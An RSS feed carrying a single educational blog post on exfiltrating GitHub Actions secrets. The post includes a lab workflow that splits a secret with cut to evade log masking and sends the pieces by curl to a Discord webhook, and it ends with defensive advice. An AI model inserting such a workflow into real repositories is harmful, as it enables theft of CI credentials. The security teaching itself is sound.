<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Manuel Yerbes</title>
    <description>The latest articles on Forem by Manuel Yerbes (@manuel_yerbes_d94836eb08f).</description>
    <link>https://forem.com/manuel_yerbes_d94836eb08f</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2696746%2F968ac8ac-6772-4208-bf78-46311f60bb21.png</url>
      <title>Forem: Manuel Yerbes</title>
      <link>https://forem.com/manuel_yerbes_d94836eb08f</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/manuel_yerbes_d94836eb08f"/>
    <language>en</language>
    <item>
      <title>GitHub Secrets: Exfiltration Guide to Discord</title>
      <dc:creator>Manuel Yerbes</dc:creator>
      <pubDate>Wed, 11 Mar 2026 22:38:04 +0000</pubDate>
      <link>https://forem.com/manuel_yerbes_d94836eb08f/github-secrets-exfiltration-guide-to-discord-42c6</link>
      <guid>https://forem.com/manuel_yerbes_d94836eb08f/github-secrets-exfiltration-guide-to-discord-42c6</guid>
      <description>&lt;p&gt;During my master's classes in AI, Cloud, and DevOps, I discovered &lt;strong&gt;GitHub Secrets&lt;/strong&gt;. At first, I had this false sense of security that a Secret was like an impenetrable variable that was physically impossible to see. But the reality is different: the secret is not the value of the variable itself, but how you control who can touch your code.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;¿What is a Secret?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;According to GitHub's official documentation, these are variables that allow you to store sensitive information in your organization or repository. GitHub Actions can only read them if you explicitly include them in a workflow using the syntax &lt;code&gt;${{ secrets.MY_TOKEN }}&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Masking Failure&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;GitHub uses a system called Masking to hide these values in the logs. Although you can force it with &lt;code&gt;::add-mask::&lt;/code&gt; directly in the &lt;code&gt;.yml&lt;/code&gt; file, this is not good practice. For example, if you mask the word “music,” GitHub will also hide “musical” because it contains the original string.&lt;/p&gt;

&lt;p&gt;But that's not the problem. The real problem is that the GitHub filter searches for the exact string. If an attacker breaks that string, the secret is exposed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Here's the lab: Exfiltrating Discord&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Any contributor with access to the repository can use these secrets if they call them in a &lt;code&gt;.yml&lt;/code&gt; file. Here's how to “steal” a token and send it to a Discord webhook.:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Security demostration&lt;/span&gt;
&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;push&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;

&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;exfiltracion&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ubuntu-latest&lt;/span&gt;
    &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Attempted extraction&lt;/span&gt;
        &lt;span class="na"&gt;env&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="c1"&gt;# Secrets as environment variables&lt;/span&gt;
          &lt;span class="na"&gt;MY_SECRET&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ secrets.SUPER_TOKEN }}&lt;/span&gt;
          &lt;span class="na"&gt;WEBHOOK&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ secrets.DISCORD_WEBHOOK }}&lt;/span&gt;
        &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
          &lt;span class="s"&gt;echo "If I try to print the entire secret: $MY_SECRET"&lt;/span&gt;

          &lt;span class="s"&gt;# But if we break down the chain&lt;/span&gt;
          &lt;span class="s"&gt;PART1=$(echo $MY_SECRET | cut -c 1-5)&lt;/span&gt;
          &lt;span class="s"&gt;PART2=$(echo $MY_SECRET | cut -c 6-10)&lt;/span&gt;
          &lt;span class="s"&gt;PART3=$(echo $MY_SECRET | cut -c 11-20)&lt;/span&gt;

          &lt;span class="s"&gt;# I send the content to Discord using curl.&lt;/span&gt;
          &lt;span class="s"&gt;curl -H "Content-Type: application/json" \&lt;/span&gt;
               &lt;span class="s"&gt;-X POST \&lt;/span&gt;
               &lt;span class="s"&gt;-d "{\"content\": \"Secret extracted in parts: $PART1 - $PART2 - $PART3\"}" \&lt;/span&gt;
               &lt;span class="s"&gt;$WEBHOOK&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Result&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;GitHub&lt;/strong&gt; logs:&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmntgt9pjfkjm99k84zfi.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmntgt9pjfkjm99k84zfi.jpg" alt="Secret result on GitHub" width="629" height="95"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;On my &lt;strong&gt;Discord&lt;/strong&gt; channel: &lt;strong&gt;Security is compromised&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft7r4r6jlyt0j90tstmfw.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft7r4r6jlyt0j90tstmfw.jpg" alt="My Secret revealed on Discord" width="800" height="108"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How to truly protect ourselves&lt;/strong&gt;:&lt;br&gt;
The solution is not technical, but rather one of architecture management&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Branch Protection&lt;/strong&gt;: No one can upload code to the main branch without a review.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Environment Secrets&lt;/strong&gt;: Set up manual approvals. The secret is not injected until you authorize it.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Minimum Privilege&lt;/strong&gt;: Only administrators should manage secrets in &lt;code&gt;Settings &amp;gt; Secrets and variables &amp;gt; Actions&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>githubactions</category>
      <category>secrets</category>
      <category>github</category>
    </item>
  </channel>
</rss>
